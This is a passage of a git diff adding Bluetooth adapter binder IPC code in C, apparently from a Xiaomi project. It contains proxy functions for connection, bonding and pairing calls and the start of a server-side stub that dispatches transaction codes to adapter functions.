*parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IREMOTE_IS_ENCRYPTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bool BpBtAdapter_isBondInitiateLocal(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IREMOTE_IS_BOND_INIT_LOCAL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bond_state_t BpBtAdapter_getRemoteBondState(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bond_state_t state; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BOND_STATE_NONE; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BOND_STATE_NONE; + + stat = AIBinder_transact(binder, IREMOTE_GET_BOND_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BOND_STATE_NONE; + + stat = AParcel_readUint32(parcelOut, &state); + if (stat != STATUS_OK) + return BOND_STATE_NONE; + + return state; +} + +bool BpBtAdapter_isRemoteBonded(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IREMOTE_IS_BONDED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_status_t BpBtAdapter_connect(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_disconnect(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_leConnect(BpBtAdapter* bpBinder, bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param) +{ + + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBleConnectParam(parcelIn, param); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_CONNECT_LE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_leDisconnect(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_DISCONNECT_LE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_leSetPhy(BpBtAdapter* bpBinder, bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, tx_phy); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, rx_phy); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_SET_LE_PHY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_createBond(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_CREATE_BOND, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_removeBond(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_REMOVE_BOND, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_cancelBond(BpBtAdapter* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_CANCEL_BOND, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_pairRequestReply(BpBtAdapter* bpBinder, bt_address_t* addr, bool accept) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, accept); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_PAIR_REQUEST_REPLY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_setPairingConfirmation(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport, bool accept) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, accept); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_SET_PAIRING_CONFIRM, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_setPinCode(BpBtAdapter* bpBinder, bt_address_t* addr, bool accept, + char* pincode, int len) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, accept); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, pincode, len); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, len); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_SET_PIN_CODE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_setPassKey(BpBtAdapter* bpBinder, bt_address_t* addr, bt_transport_t transport, bool accept, uint32_t passkey) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, accept); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, passkey); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IREMOTE_SET_PASSKEY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/adapter_stub.c b/service/ipc/binder/src/adapter_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..afaac5cd6e412e904b7a28395e9354de0a4d6936 --- /dev/null +++ b/service/ipc/binder/src/adapter_stub.c @@ -0,0 +1,922 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> +#include <uchar.h> + +#include "adapter_internel.h" +#include "advertising.h" +#include "bluetooth.h" +#include "scan_manager.h" + +#include "adapter_callbacks_proxy.h" +#include "adapter_callbacks_stub.h" +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "advertiser_callbacks_proxy.h" +#include "advertiser_callbacks_stub.h" +#include "binder_utils.h" +#include "parcel.h" +#include "scanner_callbacks_proxy.h" +#include "scanner_callbacks_stub.h" + +#include "utils/log.h" + +#define BT_ADAPTER_DESC "BluetoothAdapter" + +static void* IBtAdapter_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtAdapter_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtAdapter_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + bt_status_t status; + bt_address_t addr; + + switch (code) { + case IBTADAPTER_REGISTER_CALLBACK: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtAdapterCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* cookie = adapter_register_callback(remote, BpBtAdapterCallbacks_getStatic()); + stat = AParcel_writeUint32(out, (uint32_t)cookie); + break; + } + case IBTADAPTER_UNREGISTER_CALLBACK: { + AIBinder* remote = NULL; + uint32_t cookie; + + stat = AParcel_readUint32(in, &cookie); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_unregister_callback((void**)&remote, (void*)cookie); + if (ret && remote) + AIBinder_decStrong(remote); + + stat = AParcel_writeBool(out, ret); + break; + } + case IBTADAPTER_ENABLE: { + status = adapter_enable(SYS_SET_BT_ALL); + stat = AParcel_writeInt32(out, status); + break; + } + case IBTADAPTER_DISABLE: { + status = adapter_disable(SYS_SET_BT_ALL); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_ENABLE_LE: { + status = adapter_enable(APP_SET_LE_ONLY); + stat = AParcel_writeInt32(out, status); + break; + } + case IBTADAPTER_DISABLE_LE: { + status = adapter_disable(APP_SET_LE_ONLY); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_STATE: { + bt_adapter_state_t state = adapter_get_state(); + stat = AParcel_writeUint32(out, state); + break; + } + case IBTADAPTER_IS_LE_ENABLED: { + bool ret = adapter_is_le_enabled(); + stat = AParcel_writeBool(out, ret); + break; + } + case IBTADAPTER_GET_TYPE: { + bt_device_type_t type = adapter_get_type(); + stat = AParcel_writeUint32(out, type); + break; + } + case IBTADAPTER_SET_DISCOVERY_FILTER: { + status = adapter_set_discovery_filter(); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_START_DISCOVERY: { + uint32_t timeout; + + stat = AParcel_readUint32(in, &timeout); + if (stat != STATUS_OK) + return stat; + + status = adapter_start_discovery(timeout); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_CANCEL_DISCOVERY: { + status = adapter_cancel_discovery(); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_IS_DISCOVERING: { + bool ret = adapter_is_discovering(); + stat = AParcel_writeBool(out, ret); + break; + } + case IBTADAPTER_GET_ADDR: { + adapter_get_address(&addr); + stat = AParcel_writeAddress(out, &addr); + break; + } + case IBTADAPTER_SET_NAME: { + char* name; + + stat = AParcel_readString(in, &name, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_name(name); + free(name); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_NAME: { + char name[BT_LOC_NAME_MAX_LEN + 1]; + + adapter_get_name(name, BT_LOC_NAME_MAX_LEN + 1); + stat = AParcel_writeString(out, name, strlen(name)); + break; + } + case IBTADAPTER_GET_UUIDS: { + break; + } + case IBTADAPTER_SET_SCAN_MODE: { + bt_scan_mode_t mode; + bool bondable; + + stat = AParcel_readUint32(in, &mode); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &bondable); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_scan_mode(mode, bondable); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_SCAN_MODE: { + bt_scan_mode_t mode = adapter_get_scan_mode(); + stat = AParcel_writeUint32(out, mode); + break; + } + case IBTADAPTER_SET_DEVICE_CLASS: { + uint32_t cod; + + stat = AParcel_readUint32(in, &cod); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_device_class(cod); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_DEVICE_CLASS: { + uint32_t cod = adapter_get_device_class(); + stat = AParcel_writeUint32(out, cod); + break; + } + case IBTADAPTER_SET_IO_CAP: { + bt_io_capability_t io; + + stat = AParcel_readUint32(in, &io); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_io_capability(io); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_IO_CAP: { + bt_io_capability_t io = adapter_get_io_capability(); + stat = AParcel_writeUint32(out, io); + break; + } + case IBTADAPTER_GET_LE_IO_CAP: { + bt_io_capability_t io = adapter_get_le_io_capability(); + stat = AParcel_writeUint32(out, io); + break; + } + case IBTADAPTER_SET_LE_IO_CAP: { + bt_io_capability_t io; + + stat = AParcel_readUint32(in, &io); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_le_io_capability(io); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_LE_ADDR: { + ble_addr_type_t type; + + status = adapter_get_le_address(&addr, &type); + + stat = AParcel_writeAddress(out, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(out, type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_SET_LE_ADDR: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_le_address(&addr); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_SET_LE_ID: { + bool isPublic; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &isPublic); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_le_identity_address(&addr, isPublic); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_SET_LE_APPEARANCE: { + uint32_t appearance; + + stat = AParcel_readUint32(in, &appearance); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_le_appearance((uint16_t)appearance); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_LE_APPEARANCE: { + uint16_t appearance = adapter_get_le_appearance(); + stat = AParcel_writeUint32(out, appearance); + } + case IBTADAPTER_GET_BONDED_DEVICES: { + bt_address_t* addrs = NULL; + int size = 0; + + status = adapter_get_bonded_devices(&addrs, &size, AParcelUtils_btCommonAllocator, BT_TRANSPORT_BREDR); + if (addrs && size) { + stat = AParcel_writeAddressArray(out, addrs, size); + free(addrs); + if (stat != STATUS_OK) + return stat; + } + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_GET_CONNECTED_DEVICES: { + bt_address_t* addrs = NULL; + int size = 0; + + status = adapter_get_connected_devices(&addrs, &size, AParcelUtils_btCommonAllocator, BT_TRANSPORT_BREDR); + if (addrs && size) { + stat = AParcel_writeAddressArray(out, addrs, size); + free(addrs); + if (stat != STATUS_OK) + return stat; + } + stat = AParcel_writeUint32(out, status); + break; + break; + } + case IBTADAPTER_ENABLE_KEY_DERIVATION: { + bool brkey_to_lekey, lekey_to_brkey; + + stat = AParcel_readBool(in, &brkey_to_lekey); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &lekey_to_brkey); + if (stat != STATUS_OK) + return stat; + + status = adapter_le_enable_key_derivation(brkey_to_lekey, lekey_to_brkey); + stat = AParcel_writeUint32(out, status); + break; + } + case IBTADAPTER_START_ADVERTISING: { +#ifdef CONFIG_BLUETOOTH_BLE_ADV + AIBinder* remote; + ble_adv_params_t param; + uint8_t *adv, *scan_rsp; + uint32_t adv_len, scan_rsp_len; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtAdvertiserCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + stat = AParcel_readBleAdvParam(in, ¶m); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&adv, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &adv_len); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&scan_rsp, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &scan_rsp_len); + if (stat != STATUS_OK) + return stat; + + void* cookie = start_advertising(remote, ¶m, adv, adv_len, scan_rsp, scan_rsp_len, BpBtAdvertiserCallbacks_getStatic()); + free(adv); + free(scan_rsp); + stat = AParcel_writeUint32(out, (uint32_t)cookie); +#endif + break; + } + case IBTADAPTER_STOP_ADVERTISING: { +#ifdef CONFIG_BLUETOOTH_BLE_ADV + uint32_t adver; + + stat = AParcel_readUint32(in, &adver); + if (stat != STATUS_OK) + return stat; + + stop_advertising((bt_advertiser_t*)adver); +#endif + break; + } + case IBTADAPTER_STOP_ADVERTISING_ID: { +#ifdef CONFIG_BLUETOOTH_BLE_ADV + uint32_t adv_id; + + stat = AParcel_readUint32(in, &adv_id); + if (stat != STATUS_OK) + return stat; + + stop_advertising_id((uint8_t)adv_id); +#endif + break; + } + case IBTADAPTER_START_SCAN: { +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtScannerCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* cookie = scanner_start_scan(remote, BpBtScannerCallbacks_getStatic()); + stat = AParcel_writeUint32(out, (uint32_t)cookie); +#endif + break; + } + case IBTADAPTER_START_SCAN_SETTINGS: { +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + AIBinder* remote; + ble_scan_settings_t settings; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtScannerCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + stat = AParcel_readInt32(in, &settings.scan_mode); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &settings.legacy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &settings.scan_phy); + if (stat != STATUS_OK) + return stat; + + void* cookie = scanner_start_scan_settings(remote, &settings, BpBtScannerCallbacks_getStatic()); + stat = AParcel_writeUint32(out, (uint32_t)cookie); +#endif + break; + } + case IBTADAPTER_STOP_SCAN: { +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + uint32_t scanner; + + stat = AParcel_readUint32(in, &scanner); + if (stat != STATUS_OK) + return stat; + + scanner_stop_scan((bt_scanner_t*)scanner); +#endif + break; + } + case IREMOTE_GET_DEVICE_TYPE: { + bt_device_type_t device_type; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + device_type = adapter_get_remote_device_type(&addr); + stat = AParcel_writeUint32(out, device_type); + + break; + } + case IREMOTE_GET_NAME: { + char name[BT_REM_NAME_MAX_LEN + 1]; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_get_remote_name(&addr, name); + if (!ret) + return STATUS_FAILED_TRANSACTION; + stat = AParcel_writeString(out, name, strlen(name)); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeBool(out, ret); + break; + } + case IREMOTE_GET_DEVICE_CLASS: { + uint32_t cod; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + cod = adapter_get_remote_device_class(&addr); + stat = AParcel_writeUint32(out, cod); + break; + } + case IREMOTE_GET_UUIDS: { + bt_uuid_t* uuids = NULL; + uint16_t uuidSize = 0; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = adapter_get_remote_uuids(&addr, &uuids, &uuidSize, AParcelUtils_btCommonAllocator); + stat = AParcel_writeUuidArray(out, uuids, (int32_t)uuidSize); + if (stat != STATUS_OK) + return stat; + + if (uuids && uuidSize) + free(uuids); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_GET_APPEARANCE: { + uint32_t appearance; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + appearance = adapter_get_remote_appearance(&addr); + stat = AParcel_writeUint32(out, appearance); + break; + } + case IREMOTE_GET_RSSI: { + int8_t rssi; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + rssi = adapter_get_remote_rssi(&addr); + stat = AParcel_writeByte(out, rssi); + break; + } + case IREMOTE_GET_ALIAS: { + char name[BT_REM_NAME_MAX_LEN + 1]; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_get_remote_alias(&addr, name); + if (!ret) + return STATUS_FAILED_TRANSACTION; + stat = AParcel_writeString(out, name, strlen(name)); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeBool(out, ret); + break; + } + case IREMOTE_SET_ALIAS: { + char* alias = NULL; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &alias, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + status = adapter_set_remote_alias(&addr, alias); + free(alias); + stat = AParcel_writeUint32(out, status); + break; + } + case IREMOTE_IS_CONNECTED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_is_remote_connected(&addr); + stat = AParcel_writeBool(out, ret); + break; + } + case IREMOTE_IS_ENCRYPTED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_is_remote_encrypted(&addr); + stat = AParcel_writeBool(out, ret); + break; + } + case IREMOTE_IS_BOND_INIT_LOCAL: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_is_bond_initiate_local(&addr); + stat = AParcel_writeBool(out, ret); + break; + } + case IREMOTE_GET_BOND_STATE: { + bond_state_t bondState; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bondState = adapter_get_remote_bond_state(&addr); + stat = AParcel_writeUint32(out, bondState); + break; + } + case IREMOTE_IS_BONDED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + bool ret = adapter_is_remote_bonded(&addr); + stat = AParcel_writeBool(out, ret); + break; + } + case IREMOTE_CREATE_BOND: { + bt_transport_t transport; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; 